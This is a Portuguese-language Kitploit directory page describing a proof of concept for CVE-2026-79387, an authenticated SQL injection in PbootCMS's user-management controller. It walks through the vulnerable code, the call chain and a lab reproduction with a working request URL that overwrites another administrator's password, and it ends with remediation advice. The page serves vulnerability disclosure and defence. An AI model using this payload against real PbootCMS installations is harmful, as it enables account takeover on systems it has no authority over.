Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-79387-PbootCMS-SQL-Injection — Prova de conceito para CVE-2026-79387, uma injeção SQL autenticada no gerenciamento de usuários do PbootCMS que permite atualizações arbitrárias de campos e a tomada de conta. | Kitploit
Ferramentas/GitHubGitHub/jhli07/cve-2026-79387-pbootcms-sql-injection
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHubjhli07/cve-2026-79387-pbootcms-sql-injection

CVE-2026-79387-PbootCMS-SQL-Injection

Prova de conceito para CVE-2026-79387, uma injeção SQL autenticada no gerenciamento de usuários do PbootCMS que permite atualizações arbitrárias de campos e a tomada de conta.

Ver Repositório
47há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-79387: Injeção de SQL no Módulo de Gerenciamento de Usuários do PbootCMS V3.2.5

Visão Geral

CampoDetalhe
ID CVECVE-2026-79387
ProdutoPbootCMS
Versões Afetadas3.2.0 – 3.2.5, e possivelmente anteriores
Tipo de VulnerabilidadeInjeção de SQL (CWE-89)
Vetor de AtaqueRemoto (Autenticado)
Severidade CVSSAlta
DescobridorJiahaoLi
Fornecedorhttps://www.pbootcms.com/

Descrição da Vulnerabilidade

Existe uma vulnerabilidade de injeção de SQL no módulo de gerenciamento de usuários do PbootCMS V3.2.5. A vulnerabilidade reside no método mod() de /apps/admin/controller/system/UserController.php (linha 149) e no método modUser() de /apps/admin/model/system/UserModel.php.

O parâmetro field é totalmente controlado pelo usuário por meio de uma requisição GET, sem qualquer validação de lista de permissões. O parâmetro value é igualmente controlado pelo usuário e é concatenado diretamente na instrução SQL UPDATE. Um atacante autenticado pode especificar qualquer coluna do banco de dados como field (por exemplo, password, username, status, role), permitindo a manipulação arbitrária de dados.

Causa Raiz

// UserController.php - mod() method
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
    if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
        location(- 1);
    }
}

$field e $value são obtidos diretamente da superglobal $_GET e concatenados em uma string SQL sem sanitização, sem whitelist e sem consulta parametrizada. Essa string é então passada para UserModel::modUser(), que a encaminha para o método base Model::update(). Como o argumento é uma string (não um array), ele contorna a validação de nome de campo checkKey() e é incorporado literalmente na cláusula SET:

UPDATE ay_user SET <user-controlled>= '<user-controlled>', update_user='admin' WHERE ucode='<ucode>'

Cadeia de Chamadas

GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
  → UserController::mod()
    → UserModel::modUser($ucode, "password='<value>',update_user='admin'")
      → Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
        → SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'

Impacto

Um atacante autenticado pode:

  1. Modificar a palavra-passe de qualquer utilizador — incluindo o superadministrador (exceto o fundador incorporado ucode=10001).
  2. Alterar o estado da conta — ativar ou desativar contas arbitrárias.
  3. Injetar SQL mais profundo — o parâmetro value permite escapar com aspas simples, potencialmente permitindo ataques empilhados ou baseados em tautologia.

Isto leva à tomada de conta e ao controlo total do backend do CMS.

Passos de Reprodução

Pré-requisitos

  • PbootCMS V3.2.5 instalado localmente (testado em 192.168.1.104, Apache/PHP 7.2.1/SQLite)
  • Uma conta de administrador de backend válida

Passo 1: Iniciar sessão no Painel de Administração

Aceda ao painel de administração do PbootCMS e inicie sessão com a conta predefinida admin.

Admin Dashboard

Passo 2: Criar um Utilizador Alvo

Navegue até System Management → User Management → Add User. Crie um novo utilizador:

  • Nome de utilizador: admin2
  • Palavra-passe: admin
  • Função: Administrador de Sistema

Create User

Passo 3: Verificar que o Utilizador Existe

A lista de utilizadores confirma admin2 com ucode=10002:

User List

Passo 4: Confirmar a Palavra-passe Inicial

Abra uma nova janela do navegador. Tente iniciar sessão como admin2 com a palavra-passe 123456 — isto falha porque a palavra-passe real é admin:

Login Failed

Passo 5: Construir e Executar o Payload

Utilizando o navegador do administrador já autenticado, navegue até:

http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291

14e1b600b1fd579f47433b88e8d85291 é o hash MD5 de 123456.

O método mod() executa a injeção e redireciona via location(-1):

Payload Executado - Não Encontrado

Passo 6: Verificar a Alteração de Senha

Agora tente fazer login com admin2 / 123456:

Login Bem-sucedido

A senha foi alterada com sucesso via injeção SQL. O usuário agora está logado com a nova senha, confirmando o takeover completo da conta.

Análise do Código-Fonte

Código Vulnerável (UserController.php, linha ~149)

Código-Fonte

Camada de Banco de Dados (Model.php - método update)

Quando update() recebe um argumento do tipo string, ele é usado como está na cláusula SET sem qualquer escape:

final public function update($data = null)
{
    if (is_array($data)) {
        // Array path: checkKey() validates field names
        ...
    } else {
        // String path: NO VALIDATION AT ALL
        $update_string = $data;
    }
    $this->sql['value'] = $update_string;
    $sql = $this->buildSql($this->updateSql);
    return $this->getDb()->amd($sql);  // Direct execution, no prepared statement
}

Correção

  1. Validação por lista de permissões no parâmetro field — permitir apenas nomes de colunas conhecidos (status, username, realname, password).
  2. Consultas parametrizadas — usar prepared statements em vez de concatenação de strings.
  3. Escapar a entrada do usuário — no mínimo, sanitizar $value para evitar a quebra de aspas.
  4. Forçar o hash de senhas — se field for password, aplicar encrypt_string() ao valor antes do armazenamento.
  5. Restringir o caminho de modificação autônoma — o ramo de "modificação de campo único" em mod() deve exigir um token CSRF válido e uma verificação de autorização por nível de função.

Referências

  • Site oficial do PbootCMS
  • Código-fonte do PbootCMS no Gitee
  • CVE-2026-79387

Baixar ferramenta